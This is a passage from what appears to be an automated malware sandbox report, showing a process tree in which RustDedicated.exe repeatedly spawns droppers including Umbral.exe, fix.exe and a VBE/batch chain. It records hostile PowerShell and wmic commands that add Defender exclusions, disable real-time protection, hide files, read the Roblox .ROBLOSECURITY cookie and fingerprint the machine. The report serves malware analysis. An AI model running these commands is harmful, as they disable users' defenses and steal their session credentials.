        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        16⤵
        
        PID:292
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        17⤵
        
        PID:2984
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        18⤵
        
        PID:872
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        19⤵
        
        PID:2780
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        20⤵
        
        PID:2896
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        21⤵
        
        PID:2476
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        22⤵
        
        PID:1896
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        23⤵
        
        PID:2160
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        24⤵
        
        PID:2472
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        25⤵
        
        PID:768
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        26⤵
        
        PID:1356
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        27⤵
        
        PID:3000
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        28⤵
        
        PID:1076
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        29⤵
        
        PID:2680
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        30⤵
        
        PID:1684
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        31⤵
        
        PID:568
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        32⤵
        
        PID:1124
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        33⤵
        
        PID:2688
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        34⤵
        
        PID:2000
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        35⤵
        
        PID:1624
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        36⤵
        
        PID:660
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        37⤵
        
        PID:1836
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        38⤵
        
        PID:2496
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        39⤵
        
        PID:2872
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        40⤵
        
        PID:1052
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        41⤵
        
        PID:1520
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        42⤵
        
        PID:2608
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        43⤵
        
        PID:2936
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        44⤵
        
        PID:1352
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        45⤵
        
        PID:2808
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        46⤵
        
        PID:2144
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        47⤵
        
        PID:2572
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        48⤵
        
        PID:2428
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        49⤵
        
        PID:316
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        50⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        51⤵
        
        PID:572
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        52⤵
        
        PID:2088
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        53⤵
        
        PID:796
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        54⤵
        
        PID:1940
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        55⤵
        
        PID:1508
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        56⤵
        
        PID:1644
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        57⤵
        
        PID:348
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        58⤵
        
        PID:2740
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        59⤵
        
        PID:2372
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        60⤵
        
        PID:1756
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        61⤵
        
        PID:3044
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        62⤵
        
        PID:2180
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        63⤵
        
        PID:1968
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        64⤵
        
        PID:2724
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        65⤵
        
        PID:872
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        66⤵
        
        PID:3064
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        67⤵
        
        PID:2872
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        68⤵
        
        PID:1504
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        69⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        70⤵
        
        PID:2496
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        71⤵
        
        PID:2268
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        72⤵
        
        PID:2900
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        72⤵
        
        PID:1312
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        71⤵
        
        PID:2624
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        72⤵
        
        PID:1564
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        72⤵
        
        PID:2948
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        70⤵
        
        PID:2892
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        71⤵
        
        PID:2808
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        71⤵
        
        PID:2648
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        72⤵
        
        PID:2984
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        73⤵
        
        PID:2760
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        69⤵
        
        PID:1356
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        70⤵
        
        PID:2428
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        71⤵
        
        PID:2364
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        71⤵
        Views/modifies file attributes
        
        PID:1744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        71⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        71⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        70⤵
        
        PID:1780
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        71⤵
        
        PID:1520
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        72⤵
        
        PID:2652
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        68⤵
        
        PID:2180
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        69⤵
        
        PID:2408
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        69⤵
        
        PID:3052
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        70⤵
        
        PID:1680
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        71⤵
        System Location Discovery: System Language Discovery
        
        PID:2248
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        72⤵
        
        PID:904
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        73⤵
        
        PID:2344
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        67⤵
        
        PID:908
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        68⤵
        
        PID:2608
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        68⤵
        
        PID:2236
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        69⤵
        System Location Discovery: System Language Discovery
        
        PID:1904
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        70⤵
        
        PID:2976
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        71⤵
        
        PID:2264
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        72⤵
        
        PID:2372
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        66⤵
        
        PID:1264
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        67⤵
        
        PID:1148
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        67⤵
        
        PID:2852
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        68⤵
        
        PID:752
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        69⤵
        
        PID:2900
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        70⤵
        System Location Discovery: System Language Discovery
        
        PID:2960
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        71⤵
        
        PID:1768
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        65⤵
        
        PID:2720
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        66⤵
        Drops file in Drivers directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3044
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        67⤵
        
        PID:1524
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        67⤵
        Views/modifies file attributes
        
        PID:3020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        67⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        67⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        67⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        67⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2964
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        67⤵
        
        PID:3064
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        67⤵
        
        PID:2144
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        67⤵
        
        PID:1620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        67⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2532
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        67⤵
        Detects videocard installed
        
        PID:1800
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        67⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:1532
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        68⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:984
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        66⤵
        
        PID:1656
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        67⤵
        System Location Discovery: System Language Discovery
        
        PID:2376
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        68⤵
        
        PID:2616
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        69⤵
        System Location Discovery: System Language Discovery
        
        PID:2636
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        70⤵
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        64⤵
        
        PID:2352
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        65⤵
        
        PID:1960
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        65⤵
        
        PID:2412
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        66⤵
        System Location Discovery: System Language Discovery
        
        PID:1676
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        67⤵
        
        PID:1568
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        68⤵
        Loads dropped DLL
        
        PID:2604
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        69⤵
        
        PID:2008
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        63⤵
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        64⤵
        
        PID:1252
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        64⤵
        
        PID:1784
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        65⤵
        
        PID:908
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        66⤵
        System Location Discovery: System Language Discovery
        
        PID:1996
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        67⤵
        Loads dropped DLL
        
        PID:2876
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        68⤵
        
        PID:2988
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        62⤵
        
        PID:2708
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        63⤵
        
        PID:2736
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        63⤵
        
        PID:1672
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        64⤵
        
        PID:1332
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        65⤵
        System Location Discovery: System Language Discovery
        
        PID:2332
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        66⤵
        Loads dropped DLL
        
        PID:2476
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        67⤵
        
        PID:1084
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        61⤵
        
        PID:660
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        62⤵
        Drops file in Drivers directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2728
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        63⤵
        
        PID:1592
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        63⤵
        Views/modifies file attributes
        
        PID:1556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        63⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        63⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2924
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        63⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        63⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2248
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        63⤵
        
        PID:2908
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        63⤵
        
        PID:1988
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        63⤵
        
        PID:2064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        63⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:976
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        63⤵
        Detects videocard installed
        
        PID:1376
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        63⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:1152
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        64⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2116
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        62⤵
        
        PID:1836
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        63⤵
        
        PID:988
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        64⤵
        
        PID:836
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        65⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1668
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        66⤵
        
        PID:2860
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        60⤵
        
        PID:1628
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        61⤵
        
        PID:1308
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        61⤵
        
        PID:2916
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        62⤵
        System Location Discovery: System Language Discovery
        
        PID:2860
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        63⤵
        
        PID:1928
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        64⤵
        Loads dropped DLL
        
        PID:2648
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        65⤵
        
        PID:2164
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        59⤵
        
        PID:1640
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        60⤵
        
        PID:844
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
